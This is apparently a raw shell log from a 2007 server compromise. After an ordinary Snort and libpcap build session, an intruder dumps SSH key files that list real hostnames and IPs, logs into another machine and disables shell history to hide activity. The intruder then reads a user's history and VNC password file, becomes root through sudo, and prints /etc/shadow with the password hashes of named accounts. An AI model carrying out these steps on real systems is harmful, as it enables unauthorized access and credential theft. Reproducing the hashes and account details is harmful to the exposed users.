tar -tzf libpcap-0.8.1.tar.gz 
tar -xzf libpcap-0.8.1.tar.gz 
mv libp*
ls libp*
mv libp* ..
cd ../libpcap-0.8.1
ls
./configure
make
sudo make install
cd ../snort-2.7.0.beta2
./configure
cd .. ; lynxhttp://www.pcre.org
lynx http://www.pcre.org
tar -tzf pcre-7.1.tar.gz 
tar -xzf pcre-7.1.tar.gz 
cd pcre-7.1
ls
./configure
make
sudo - make install
sudo make install
cd ../snort-2.7.0.beta2
./configure
make
make install
sudo make install
ls
cd doc
ls
cp ../doc ~/public_html/snort_doc
cp -R ../doc ~/public_html/snort_doc
cd ..
ls
ls etc
less etc/snort.conf 
ls
ls etc
ls templates/
ls con
ls contrib/
ls schemas/
ls src
ls rpm
ls m4
ls doc
less doc/README.ssh 
screen -x
screen -x
ls
ls public_html/
mkdir public_html/Cracks
cd public_html/Cracks
rz
ls -la
screen -x
screen -x
screen -x
screen -x
server4:/home/gumbie# cd .ssh
server4:/home/gumbie/.ssh# ls -alh
total 20K
drwx--x---   2 gumbie gumbie 4.0K Feb  3 16:12 .
drwxr-xr-x  10 gumbie gumbie 4.0K May 30 04:45 ..
-rw-r--r--   1 gumbie gumbie 4.6K Feb  3 16:18 authorized_keys
-rw-r--r--   1 gumbie gumbie 3.4K Mar 24 03:26 known_hosts
server4:/home/gumbie/.ssh# cat *
ssh-dss
AAAAB3NzaC1kc3MAAACBAIkoc5RisBTJmtAUFmSedLFXUOtADHiPUNVgvS3aEJ/
EauJM8Bvldd7AlNL2IoW+BVyI9qQ9F5u7ck925L3LFO2DySquqTUvu6wC1hcG+Q
JmLvXWdZlp7qqiaVhQPspf++3PnpL/9W3Ls06CJTkRpWFb5pyBeB5srYv+pO26i
1xfAAAAFQCDQHjFR6JYK2BMfYzeqv5el4fsJQAAAIBQZW0fqGNmIxFANmeHcAWU
low8cwzH3bYltUHxYqFmogv7KhXppAzmDuptjqxpAAsiXResTflS484DieIwssz
8z9IB+4hGITpnPOHQT1ddxIq614MbkNlIMbCDXA1Ikbf0UNbJbN5fTd3JBZWU93
lp2blJ+0VcmI2o3SXLZJgiLwAAAIAMXILSm58KHdeCaeNb/EdSXAqnC7ZQ3LElN
dgv0KX2d6t2ec4MWXjoicuIjTE5ZAh4m6e+vVP3yaxSGaxtZ6TZKtS1P2Ku0MnY
Odzer5y7C1EcQXyshYN9uikNEp3yiOk/n2mbHv8BrJr/Q/0FqWVn3FDzJ2O/szt
7iXrx+67IYg==
gumbie@apache.rmachine.net
ssh-dss
AAAAB3NzaC1kc3MAAACBAMhBcEfcxCSsSXvoeP9FA+oyHyDN8N4bH8WMn62STdn
sRGo1BGQNXYw3+wySs7L9XilUOC1Tnorkc9qsgZnsWfujfTRU2WOvdZ+PfkZFhy
ser/xwMbmCNjovC1QONmq+UfvHoisHUPHymSIcL1jN704qB69JOGYwQy8YndPva
JlbAAAAFQCc1KfmY/qwIH/Z0RCTTFiX0DgzIQAAAIAlVsYB57+E7JUvsc54+6ln
zAb84NlzS3aIOI+G4ctrXjQ962RxBEn1YezFH0xfPpnN15C3fTtU+NU/BqWX0Lp
lGMK7xkvelQmPzPINebrWsAGQewWelPfqWABZ+9UIv7KbpnYYmG91aka9Xtdj7+
3b0Xaq5wpQjGTrvlEhUnSOewAAAIBdoaDNivxRzV5oK310p4Wp0PGzfqjzB0glw
zTi0zwvs6nTdA4qqgh1HaU9SYtpUwTq9tNBQs5cftTZS0OuyYfedUtt2DjM6S07
Cj2zkh1C1Obd4M+ABD9LNRigSfyi9wGwtxXpMk7gwTkS1msyqHVD5kSxRTmyUl4
0QukqiAN5PA==
"gumbie@toshiba_dsa"
ssh-dss
AAAAB3NzaC1kc3MAAACBAIu2cdN3RRzMDD7H45m3ycrDZNoiQpm2NAC1fqc6HtX
xt1yE2k5MxNKj2+PJJ5hdPghNZJy7+yD+gsEnbPpEY670yp0WRqF7Pea55zOr5D
8LUt7ONRqSkoMiXCSxXOzbbgpH/f2bucJpeeXU7N4sCsFTwCcs+wOjkWw45WOOY
hYRAAAAFQDVOp3utFXwVFKdWVhF+PWOVFo1UQAAAIAjZoT8OWf+V1myE8qXX53p
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upc/7lAda6Vd5gGO6WgSlUIwAAAIBdK2rixeRLzk0OP91F1LyEP6AG7xK7fcjST
PNdQBNx01jk3B2hT/EQZxp5To+F3UCsjqCSlA8+Hzc2BicLfEmL8E+sWgZGuAo/
tREPeLT8YWPL+JEBK5SJBHpWK4YyGw2pw2wpiecg4X6NMDH/SBDo8drhsDmHKIi
H0AmWyeYGxw==
"gumbie@guinness"
ssh-dss
AAAAB3NzaC1kc3MAAAEBAKunfYaKQoO/n2Hd/tQi+BWaB3asXeiG2pHrWXsysMP
FucW5dtzupXlyNQVw7Ul6F9DIf0i2mq0pEYRG3DOwE6WpSRzoaVLwIgreWqfsey
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0KgL0y1cF3HOYVfcEDPj5ONK8246/swSCGgQt8twutXsjIo+xiuYO5h6cPLqRTe
ycMUrP2QQMMxZXuXMJeXLJWJ+e1n5i+vrAJf6X2T0TI+ry6X9u4gtR5uInW58sN
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yrZQgtnX+vdfnSjSsyzM=
"gumbie@cyber"
ssh-dss
AAAAB3NzaC1kc3MAAAEBAPb8NR2McHshyGs0vPafixcBm+NpwgMo0Cyd+ltzj0N
yo2hOwj3UXb+zW/w/RHPRBHn2cAPhqSLWYE1BsMaz1nuensZPFGDl0Pr5RGqwx+
Hfj4tJ4zV8uKDGb1NYzvF+243CmHvtXnX7yH65yJTvSNTwDVgsqqHh6w6MbaYak
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t7uIaLSd9YNWFYo3Me5G/J+LMq7Nu0w6r6StIQ7r7zOtFvaOvBGtHJ9w6f2Mx4m
d6jknkIZyUojA0CxwAjg15kNJKsHI1yWgH4p90YWxlBcRy9MAAAAVAMdFizakX6
WuAWGiXKvacEuSr+NrAAABAAMQPqx9YN0ijnefZzC1GM+csX0PrhQWoatEmbLe+
/NTE6lUFj79IFF6ImcSTbFrJ4n7k19a0IwvuTICVhpNQPWSML/8gQlGLIZ5Gbf8
t0tRAVffnfwiFxhJxxgUH/yEH0SlrqlenPuPCpTMAmWXoebyL3kVYcyDeSxkeIr
sfqbVBIoXVtUMIZQNKXyCeT5E7z9Nye8aF8lOUWrGIwSeNdfye1/24fTD0V0gAv
m+PLCbTqVsGUoPqksIsha6v/TRceRBtFQGIG4QUja7JUlJpPPYpAV4+ynlWR64W
V7ZIskqlJlGUTv6B0LCcCWz5CnAeQFwpLesiDWqTpRpLODrWYkAAAEAIUb7Gban
iWZRRhk1ytgQXGHlQVnlLBLZCh+BEp1p1ty3jfOIbOg6cAKYVNFBp5g/EH+IUah
1Z+cCSBnitgSMIWpxaCvV4XXT0WwOvATEV6C3Pr+XQ/rcq5E/0jVortUy6rErZT
N6pRYtKVvB4Z8UiEnxata0sgXV3PeUIzBDj7NOUeXnwGjZuJZAKcWg2s4LQerTQ
Puvf/IwIIjeSn+h0TVutsvKT5h/A6mCx7Yg1iM5uXI4I0ayw2mzdrYX96Sfpwfe
tRmu5qVQaYc5pK4PPeQEh2UTYg4cA1QY2kkKKrPhjBPOrAbwc0VukhpQAM1c4gW
LguE7DCkNwP9g1ExjDw==
rhopkins@puma.nfic.com
ssh-dss
AAAAB3NzaC1kc3MAAACBAOdZHYBhapx9Qjmduwyxn02ypuHnvMJnqMaL8g62v/3
wWKEQcPYE5hw4aizWloS9Tu1lzze9S8Rk7MkSjRtLmV+c9MTy40eS2jKRNb1MSu
HZXjvh5n81wObdixCKv89mOy/F7dxespM+JC9mSIGb1LunLV3Zxx3wIXi79auVC
O73AAAAFQDeJ2iv5/woRmyIxYMlZGAUTTNICQAAAIEA2UgPWL7+sU5TStdTWPOn
Bq+g5QRJkZ86R04ObERaCljcq93QJKxASL2q8x5MdyAi7j42FIwQOi1tMi7M4Gp
ozzePEXdJMwkOXtJw6mxBw9wOAXfvUomKkq4VTKC88U6iKA7QP5BtTK9vQbVzeB
rrt/P+dPUo0a7hGCiL+J9VT3YAAACAeFWr1JM2ITHwwS9S0DStR+8fUJE4NHyC3
Tggp9tTgBfnqglp4mAEdGJVdef1bDaEUCKI0XCWo1Eou/TnaQLdbxAYHlygCR+x
NoZ/UOmu9fbuUU43YqzafR8H9i0FO11Q6iN+y2wROD/wXOTig+FEbQW8/h4rHR3
C4pPd7pOX2Fk=
gumbie@vds349.sivit.org

71.192.67.163 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAsRBHrWAwTKSWF0DdzGeLaWZYSGFjdPmtH+h
ig6rozw5akKT+l7JxMcPi0iW0kuImhOh/D7cVh7BlMQc5RjvrOigxN6RtrrUzE5
iUhdHRdlbQ5XWaPJQZLH6nQMnCvtGsj432OMi5NiWAs8QUp0duiOUPCQxq3hV/w
q4MTqlP/Nk=
rasterized.net,69.163.232.231 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAyaQ6kpWI3wBfCGF+/EGC8JLuPI4ahiREMNe
0e/vUAfFjT044zOVoowDC0Ek1wgh0TAuv3Dzjz6XxknwMkaYo/KCM+CmTAQqYGj
4AwxUrzy4ImUJNxvQVJxrHRL40B61lT+lSXpgsjBTaV4qWE5vTIMoa9uz1159D5
CpHMuAKU70=
server1.zloche.net,65.94.18.39 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAziexE08HtpgQFXCsqn1Hg0bn54ZzecIYNyN
ZzwK45zhO03/wr3pGmQtZQbv9R2Jma/vSW7IFPmz2ZyZodLpr3QciqqPOn5xvC7
GFLrrrlBYzX8uggew4gUq9Uc9vxXrDKHh2aAz7rA+gPOM/1iq1Xuve754ZTOhdS
XaasNJMb4U=
zloche.zapto.org,65.94.86.4 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAziexE08HtpgQFXCsqn1Hg0bn54ZzecIYNyN
ZzwK45zhO03/wr3pGmQtZQbv9R2Jma/vSW7IFPmz2ZyZodLpr3QciqqPOn5xvC7
GFLrrrlBYzX8uggew4gUq9Uc9vxXrDKHh2aAz7rA+gPOM/1iq1Xuve754ZTOhdS
XaasNJMb4U=
rmachine.dynalias.net,71.192.67.95 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAsRBHrWAwTKSWF0DdzGeLaWZYSGFjdPmtH+h
ig6rozw5akKT+l7JxMcPi0iW0kuImhOh/D7cVh7BlMQc5RjvrOigxN6RtrrUzE5
iUhdHRdlbQ5XWaPJQZLH6nQMnCvtGsj432OMi5NiWAs8QUp0duiOUPCQxq3hV/w
q4MTqlP/Nk=
65.92.60.252 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAziexE08HtpgQFXCsqn1Hg0bn54ZzecIYNyN
ZzwK45zhO03/wr3pGmQtZQbv9R2Jma/vSW7IFPmz2ZyZodLpr3QciqqPOn5xvC7
GFLrrrlBYzX8uggew4gUq9Uc9vxXrDKHh2aAz7rA+gPOM/1iq1Xuve754ZTOhdS
XaasNJMb4U=
65.94.125.121 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAziexE08HtpgQFXCsqn1Hg0bn54ZzecIYNyN
ZzwK45zhO03/wr3pGmQtZQbv9R2Jma/vSW7IFPmz2ZyZodLpr3QciqqPOn5xvC7
GFLrrrlBYzX8uggew4gUq9Uc9vxXrDKHh2aAz7rA+gPOM/1iq1Xuve754ZTOhdS
XaasNJMb4U=
65.94.19.98 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAziexE08HtpgQFXCsqn1Hg0bn54ZzecIYNyN
ZzwK45zhO03/wr3pGmQtZQbv9R2Jma/vSW7IFPmz2ZyZodLpr3QciqqPOn5xvC7
GFLrrrlBYzX8uggew4gUq9Uc9vxXrDKHh2aAz7rA+gPOM/1iq1Xuve754ZTOhdS
XaasNJMb4U=
65.92.60.23 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAziexE08HtpgQFXCsqn1Hg0bn54ZzecIYNyN
ZzwK45zhO03/wr3pGmQtZQbv9R2Jma/vSW7IFPmz2ZyZodLpr3QciqqPOn5xvC7
GFLrrrlBYzX8uggew4gUq9Uc9vxXrDKHh2aAz7rA+gPOM/1iq1Xuve754ZTOhdS
XaasNJMb4U=
71.192.67.60 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAsRBHrWAwTKSWF0DdzGeLaWZYSGFjdPmtH+h
i6rozw5akKT+l7JxMcPi0iW0kuImhOh/D7cVh7BlMQc5RjvrOigxN6RtrrUzE5i
UhdHRdlbQ5XWaPJQZLH6nQMnCvtGsj432OMi5NiWAs8QUp0duiOUPCQxq3hV/wq
4MTqlP/Nk=
server1,65.92.156.231 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAziexE08HtpgQFXCsqn1Hg0bn54ZzecIYNyN
ZzwK45zhO03/wr3pGmQtZQbv9R2Jma/vSW7IFPmz2ZyZodLpr3QciqqPOn5xvC7
GFLrrrlBYzX8uggew4gUq9Uc9vxXrDKHh2aAz7rA+gPOM/1iq1Xuve754ZTOhdS
XaasNJMb4U=
65.94.149.79 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAziexE08HtpgQFXCsqn1Hg0bn54ZzecIYNyN
ZzwK45zhO03/wr3pGmQtZQbv9R2Jma/vSW7IFPmz2ZyZodLpr3QciqqPOn5xvC7
GFLrrrlBYzX8uggew4gUq9Uc9vxXrDKHh2aAz7rA+gPOM/1iq1Xuve754ZTOhdS
XaasNJMb4U=
65.92.158.240 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAziexE08HtpgQFXCsqn1Hg0bn54ZzecIYNyN
ZzwK45zhO03/wr3pGmQtZQbv9R2Jma/vSW7IFPmz2ZyZodLpr3QciqqPOn5xvC7
GFLrrrlBYzX8uggew4gUq9Uc9vxXrDKHh2aAz7rA+gPOM/1iq1Xuve754ZTOhdS
XaasNJMb4U=
server4.zloche.net,213.251.160.26 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEA1nrkiWUjg+BGB83ed97xlvJYWNm8FeE91nh
Xx05mZ4HVDADi0qGmYnlXbuywe7Kf4R42C5Gw+ZLMKdMYCsDqa89dqNuSl0Mx7/
qHPS3oQW/nPFC8cFo1pI6v/R180uxorB5ggcLV4mgbZZnc4TltUMbrLRHYfAi3H
bwGj6bIiuE=
zloche.net,80.248.208.223 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAzYgpHj6TWctv9JPyCM/uWdHMWWgnMmR9KkD
XZuiGVSNc/FyxIq6soDPhQ6nsYw3NoKEczB1aC6u1RMqueWyd0LLZD2QIVmJ1ij
RtQDibKXEmlquOTUNZzB0RQIKgI4FOlpojpqTMziRUom2qChYoVBFLimYvH+b3f
claQaSichE=


server4:/home/gumbie/Incoming# logout
djdd@server4:~$ logout
Connection to 213.251.160.26 closed.
[deadlyacid@localhost ~]$ ssh stax@irc.liveits.com
The authenticity of host 'irc.liveits.com (68.184.61.212)' can't be established.
RSA key fingerprint is 39:88:8c:c6:83:7f:d4:c5:f4:aa:3b:96:82:1f:30:65.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'irc.liveits.com,68.184.61.212' (RSA) to the list of known hosts.
stax@irc.liveits.com's password: 
Permission denied, please try again.
stax@irc.liveits.com's password: 

[deadlyacid@localhost ~]$ ssh djdd@irc.liveits.com
djdd@irc.liveits.com's password: 
Last login: Fri Jun  8 19:14:12 2007 from 192.168.2.3
[djdd@lila ~]$ unset HISTFILE ; unset SAVEHIST
[djdd@lila ~]$ w
 14:17:05 up 1 day, 19:54,  2 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
djdd     pts/4    c-76-108-85-21.h 14:16    0.00s  0.08s  0.01s w
[djdd@lila ~]$ ls -alh
total 320K
drwx------ 11 djdd djdd 4.0K Jun  8 20:58 .
drwxr-xr-x  9 root root 4.0K Jun  5 10:11 ..
-rw-------  1 djdd djdd 2.5K Jun  8 23:18 .bash_history
-rw-r--r--  1 djdd djdd   24 Jul 12  2006 .bash_logout
-rw-r--r--  1 djdd djdd  176 Jul 12  2006 .bash_profile
-rw-r--r--  1 djdd djdd  124 Jul 12  2006 .bashrc
-rw-r--r--  1 djdd djdd   67 Jun  7 20:08 .DCOPserver_lila.lan.liveits.com__0
lrwxrwxrwx  1 djdd djdd   46 Jun  7 20:08 .DCOPserver_lila.lan.liveits.com_:0 -> /home/djdd/.DCOPserver_lila.lan.liveits.com__0
drwx------  2 djdd djdd 4.0K Jun  7 20:08 Desktop
-rw-------  1 djdd djdd   26 May 13 14:33 .dmrc
-rw-r--r--  1 djdd djdd 122K May 28 02:50 firefoxweird.JPG
-rw-------  1 djdd djdd  217 Jun  7 20:08 .ICEauthority
drwx------  2 djdd djdd 4.0K May 29 17:50 .irssi
drwxrwsrwx  5 1000 1000 4.0K May 26 23:59 irssi-0.8.11
drwxr-xr-x  4 djdd djdd 4.0K Jun  7 20:08 .kde
-rw-------  1 djdd djdd   35 Jun  8 20:53 .lesshst
-rw-r--r--  1 djdd djdd    0 Jun  8 20:17 lila.lan.liveits.com:2.log
drwx------  3 djdd djdd 4.0K May 13 14:33 .local
drwxr-xr-x  3 djdd djdd 4.0K May 13 14:33 .mcop
drwxr-xr-x  2 djdd djdd 4.0K Jun  7 20:08 .qt
drwx------  2 djdd djdd 4.0K Jun  5 11:15 .ssh
-rw-------  1 djdd djdd  910 Jun  8 20:18 .viminfo
drwxr-xr-x  2 djdd djdd 4.0K Jun  8 20:18 .vnc
-rw-------  1 djdd djdd  163 Jun  8 20:58 .Xauthority
-rw-r--r--  1 djdd djdd 6.8K Jun  7 20:12 .xsession-errors
[djdd@lila ~]$ cat .bash_history 
ifvonfig
ifconfig
exit
ls
w
exit
ls
ping google.com
yum install irssi
exit
tail /var/log/messages
tail /var/log/secure
chmod +r /var/log/messages
su chmod +r /var/log/messages
sudo chmod +r /var/log/messages
chmod +r /var/log/messages
sudo chmod +r /var/log/messages
tail /var/log/messages
tail /var/log/secure
sudo chmod +r /var/log/secure
tail /var/log/secure
w
w
who
exit
sudo adduser robivy64
exit
ls
cd ..
ls
cd ..
ls
cd etc
ls
cd ..
ls
cd net
ls
dir
cd ..
ls
cd usr
ls
cd share
ls
cd ..
cd ..
cd var
ls
cd ftp
ls
cd pub
ls
cd ..
cd ..
cd ..
ls
cd etc
ls
cp yp.conf /var/ftp/pub
ls
cd ..
ls
cd home
cd djdd
ls
mv DVDPATH.TXT /var/ftp/pub
sudo mv DVDPATH.TXT /var/ftp/pub
ls
cd irssi-0.8.11/
less install
less INSTALL 
ping google.com
ping google.com
ls
cd irssi-0.8.11
ls
./configure
make
su
su
sudo
sudo make install
cd ..
cd ..
ls
cd djdd
irssi
screen irssi
shutdown -r now
ls
sudo shutdown -r now
sudo /sbin/shutdown -r now
locate vsftpd
cd ..
cd ..
ls
cd etc
cd vsftpd
edit vsftpd.conf
vi vsftpd.conf
sudo vi vsftpd.conf
sudo vi vsftpd.conf
services vsftpd
service vsftpd
services vsftpd restart
service vsftp restart
vsftp restart
ls
cd ..
cd rc.d
cd init.d
ls
cd vsftpd
service vsftpd restart
/sbin/service vsftpd restart
sudo /sbin/service vsftpd restart
cd ..
cd ,,
cd ..
cd ..
ls
cd etc
cd vsftpd
sudo vi vsftpd.conf
sudo /sbin/service vsftpd restart
cd /djdd
cd /home/djdd
ls
ls
sudo vi vsftpd.conf
pwd
cd ..
cd ..
ls
cd etc
cd vsftp
ls
cd vsftpd
ls
sudo vi vsftpd.conf
up
/sbin/up
uptime
w
screen irssi
exit
iptables -L -n
/sbin/iptables -L -n
su- /sbin/iptables -L -n
su /sbin/iptables -L -n
sudo /sbin/iptables -L -n
top
sudo /sbin/service vncserver restart
start x
/sbin/start x
screen -raAd
exit
 sudo /sbin/iptables -L -n
screen -raAd
exit
screen -raAd
screen -raAd
exit
screen -raAd
exit
screen -raAd
exit
user
exit
ls -la
vncconfig
vncpasswd
ls -la
vncserver
less .vnc/xstartup 
cd ..
cd ..
cd etc
cd denyhosts
ls
pqd
pwd
mesg y
write pts3 hey
write gumbie hey
write gumbie pts3 hey
write gumbie 3 hey
mesg y
write gumbie hey
write gumbie pts/3 hey
w
write gumbie pts/1 hey
write gumbie 1 hey
write gumbie pts1 hey
cd ..
cd var
cd lib
cd denyhosts
sudo cd denyhosts
su cd denyhosts
su djdd cd denyhosts
su djdd cd denyhosts
su djdd cd denyhosts
su djdd denyhosts
su djdd 
sudo su -
screen -raAd
exit
screen -raAd
screen -raAd
start vncserver
service vncserver start
/sbin/service vncserver start
sudo /sbin/service vncserver start
exit
screen irssi
top
screen _raAd
screen -raAd
exit
start x
startx
ls
top
screen -raAd
[djdd@lila ~]$ cd .ssh
[djdd@lila .ssh]$ ls -alh
total 24K
drwx------  2 djdd djdd 4.0K Jun  5 11:15 .
drwx------ 11 djdd djdd 4.0K Jun  8 20:58 ..
-rw-r--r--  1 djdd djdd  237 Jun  5 11:15 known_hosts
[djdd@lila .ssh]$ cat known_hosts 
rmachine.net,80.248.208.223 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIE
AzYgpHj6TWctv9JPyCM/uWdHMWWgnMmR9KkDXZuiGVSNc/FyxIq6soDPhQ6nsYw
3NoKEczB1aC6u1RMqueWyd0LLZD2QIVmJ1ijRtQDibKXEmlquOTUNZzB0RQIKgI
4FOlpojpqTMziRUom2qChYoVBFLimYvH+b3fclaQaSichE=
[djdd@lila .ssh]$ cd
[djdd@lila ~]$ cd .vnc
[djdd@lila .vnc]$ ls -alh
total 48K
drwxr-xr-x  2 djdd djdd 4.0K Jun  8 20:18 .
drwx------ 11 djdd djdd 4.0K Jun  8 20:58 ..
-rw-r--r--  1 djdd djdd  556 Jun  4 00:36 lila.lan.liveits.com:2.log
-rw-r--r--  1 djdd djdd    6 Jun  4 00:36 lila.lan.liveits.com:2.pid
-rw-------  1 djdd djdd    8 Jun  4 00:35 passwd
-rwxr-xr-x  1 djdd djdd  339 Jun  4 00:36 xstartup
[djdd@lila .vnc]$ cat lila.lan.liveits.com\:2.log 

Xvnc Free Edition 4.1.2
Copyright (C) 2002-2005 RealVNC Ltd.
See http://www.realvnc.com for information on VNC.
Underlying X server release 70100000, The X.Org Foundation


Mon Jun  4 00:36:25 2007
 vncext:      VNC extension running!
 vncext:      Listening for VNC connections on port 5902
 vncext:      Listening for HTTP connections on port 5802
 vncext:      created VNC server for screen 0
Could not init font path element /usr/share/X11/fonts/OTF, removing from list!
Could not init font path element /usr/share/X11/fonts/CID/, removing from list!
[djdd@lila .vnc]$ cat lila.lan.liveits.com\:2.pid
21931
[djdd@lila .vnc]$ cat -tve passwd 
M-YIM-AO8NM-^Em[djdd@lila .vnc]$ 
[djdd@lila .vnc]$ uname -a
Linux lila.lan.liveits.com 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:54:20 EDT 2006 i686 i686 i386 GNU/Linux
[djdd@lila .vnc]$ cat /etc/redhat-release 
Fedora Core release 6 (Zod)
[djdd@lila .vnc]$ sudo su -l
Password:
[root@lila ~]# unset HISTFILE ; unset SAVEHIST
[root@lila ~]# cat /etc/shadow
root:$1$wzF0PyjR$ZvLG.q6zdIoqTyfKXxlqq.:13646:0:99999:7:::
bin:*:13646:0:99999:7:::
daemon:*:13646:0:99999:7:::
adm:*:13646:0:99999:7:::
lp:*:13646:0:99999:7:::
sync:*:13646:0:99999:7:::
shutdown:*:13646:0:99999:7:::
halt:*:13646:0:99999:7:::
mail:*:13646:0:99999:7:::
news:*:13646:0:99999:7:::
uucp:*:13646:0:99999:7:::
operator:*:13646:0:99999:7:::
games:*:13646:0:99999:7:::
gopher:*:13646:0:99999:7:::
ftp:*:13646:0:99999:7:::
nobody:*:13646:0:99999:7:::
rpm:!!:13646:0:99999:7:::
dbus:!!:13646:0:99999:7:::
avahi:!!:13646:0:99999:7:::
rpc:!!:13646:0:99999:7:::
mailnull:!!:13646:0:99999:7:::
smmsp:!!:13646:0:99999:7:::
nscd:!!:13646:0:99999:7:::
vcsa:!!:13646:0:99999:7:::
haldaemon:!!:13646:0:99999:7:::
rpcuser:!!:13646:0:99999:7:::
nfsnobody:!!:13646:0:99999:7:::
sshd:!!:13646:0:99999:7:::
netdump:!!:13646:0:99999:7:::
pcap:!!:13646:0:99999:7:::
xfs:!!:13646:0:99999:7:::
ntp:!!:13646:0:99999:7:::
postgres:!!:13646:0:99999:7:::
gdm:!!:13646:0:99999:7:::
djdd:$1$6JY8zLTt$9SqrT5QbtJCyVxUKZXGGq0:13669:0:99999:7:::
gumbie:$1$uCtksbF5$/fb98JXNKTL..dGYkEd45/:13660:0:99999:7:::
ircd:$1$NkM7oRzi$kUyIWDiFZiydl3GpwkHv5/:13660:0:99999:7:::
strayfe:$1$frE7jt1z$xXz6zHRmU75MrF6WiMWhb0:13658:0:99999:7:::
robivy64:$1$s2t7XbSI$lHl122JS6Z/BvoS7FnT16/:13659:0:99999:7:::
nagios:$1$2UnEJtD0$vqvMBdpDuWxuIi749N4IG.:13660:0:99999:7:::
skeet:$1$nVQh8yKx$u.H249CNkRCAWItJrQjIc0:13669:0:99999:7:::
[root@lila ~]# cd ~root
[root@lila ~]# ls -alh
total 336K
drwxr-x--- 16 root root 4.0K Jun  8 11:22 .
drwxr-xr-x 23 root root 4.0K Jun  7 18:23 ..
-rw-------  1 root root  878 May 13 14:25 anaconda-ks.cfg
-rw-------  1 root root 1.2K Jun  7 20:04 .bash_history
-rw-r--r--  1 root root   24 Jul 12  2006 .bash_logout
-rw-r--r--  1 root root  191 Jul 12  2006 .bash_profile
-rw-r--r--  1 root root  176 Jul 12  2006 .bashrc
-rw-r--r--  1 root root  100 Jul 12  2006 .cshrc
-rw-r--r--  1 root root   69 Jun  4 00:33 .DCOPserver_lila.lan.liveits.com__1
lrwxrwxrwx  1 root root   41 Jun  4 00:33 .DCOPserver_lila.lan.liveits.com_:1 -> /root/.DCOPserver_lila.lan.liveits.com__1
-rw-r--r--  1 root root   68 May 24 21:27 .DCOPserver_localhost.localdomain__0
lrwxrwxrwx  1 root root   42 May 24 21:27 .DCOPserver_localhost.localdomain_:0 -> /root/.DCOPserver_localhost.localdomain__0
drwx------  2 root root 4.0K Jun  4 00:24 Desktop
-rw-------  1 root root   22 Jun  6 15:14 .dmrc
drwxr-xr-x  3 root root 4.0K Jun  6 22:16 .frysk
drwx------  2 root root 4.0K Jun  7 20:08 .gconf
drwx------  2 root root 4.0K Jun  7 20:09 .gconfd
drwx------  3 root root 4.0K May 24 20:31 .gnome2
drwx------  2 root root 4.0K May 24 20:31 .gnome2_private
-rw-------  1 root root  657 Jun  7 20:04 .ICEauthority
-rw-r--r--  1 root root  29K May 13 14:24 install.log
-rw-r--r--  1 root root 3.6K May 13 14:10 install.log.syslog
drwx------  2 root root 4.0K Jun  7 19:23 .irssi
drwxr-xr-x  4 root root 4.0K Jun  4 00:24 .kde
-rw-------  1 root root   70 Jun  4 17:35 .lesshst
drwx------  3 root root 4.0K May 24 20:19 .local
-rw-------  1 root root  26K May 27 07:45 mbox
drwxr-xr-x  3 root root 4.0K May 24 20:19 .mcop
drwx------  3 root root 4.0K May 24 20:44 .mozilla
drwxr-xr-x  2 root root 4.0K May 24 20:18 .qt
-rw-r--r--  1 root root  190 May 13 14:32 scsrun.log
-r--r-----  1 root root    0 May 24 20:26 sudoers
-rw-r--r--  1 root root  129 Jul 12  2006 .tcshrc
drwx------  3 root root 4.0K May 24 21:14 .thumbnails
drwxr-xr-x  2 root root 4.0K Jun  4 00:33 .vnc
-rw-------  1 root root  163 Jun  4 00:33 .Xauthority
-rw-------  1 root root   66 May 24 21:31 .xauthwsjdNh
[root@lila ~]# cat .bash_history 
visudo sudoers
visudo -f sudoers
visudo sudoers
edit /etc/sudoers
ifconfig
yum install irssi
ping google.com
yum install irssi
ping google.com
yum install irssi
adduser strayfe
passwd strayfe
vi sudoers
kedit sudoers
visudo
adduser robivy64
passwd robivy64
exit
passwd robivy64
exit
yum install csreen.i386
kill %1
yum install screen.i386
kill %1
less /etc/resolv.conf 
ifconfig
route -n
pico /etc/resolv.conf 
nano /etc/resolv.conf 
cat /etc/resolv.conf 
yum install screen.i386
ps x
kill -9 20513
ps x
yum install screen.i386
ls /home
ls ~djdd/
ls ~djdd/irssi-0.8.11/
su - djdd
adduser ircd
ls ~ircd
ls ~ircd -la
cd /etc/sysconfig/
ls
cat network
nano network
grep localhost *
top
kill pid 2080
kill 2080
kill yum-updatesd
kill pid yum-updatesd
kill 2080 yum-updatesd
pwd
cd ..
pwd
cd var
cd lib
cd denyhosts
ls
edit allowed-hosts
vi allowed-hosts
adduser skeet
passwd skeet
sudo
exit
passwd djdd
exit
passwd skeet
exit
ifconfig
vi /etc/resolv.conf
exit
ping rmachine.net
netstat -n
irssi
ifconfig
vi /etc/resolv.conf
vi /etc/resolv.conf
serverice network restart
servrice network restart
service network restart
ping google.com
yum install gnome
irssi
[root@lila ~]# ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.2   2028   656 ?        Ss   Jun07   0:02 init [5]      
root         2  0.0  0.0      0     0 ?        S    Jun07   0:00 [migration/0]
root         3  0.0  0.0      0     0 ?        SN   Jun07   0:00 [ksoftirqd/0]
root         4  0.0  0.0      0     0 ?        S    Jun07   0:00 [watchdog/0]
root         5  0.0  0.0      0     0 ?        S<   Jun07   0:00 [events/0]
root         6  0.0  0.0      0     0 ?        S<   Jun07   0:00 [khelper]
root         7  0.0  0.0      0     0 ?        S<   Jun07   0:00 [kthread]
root        10  0.0  0.0      0     0 ?        S<   Jun07   0:00 [kblockd/0]
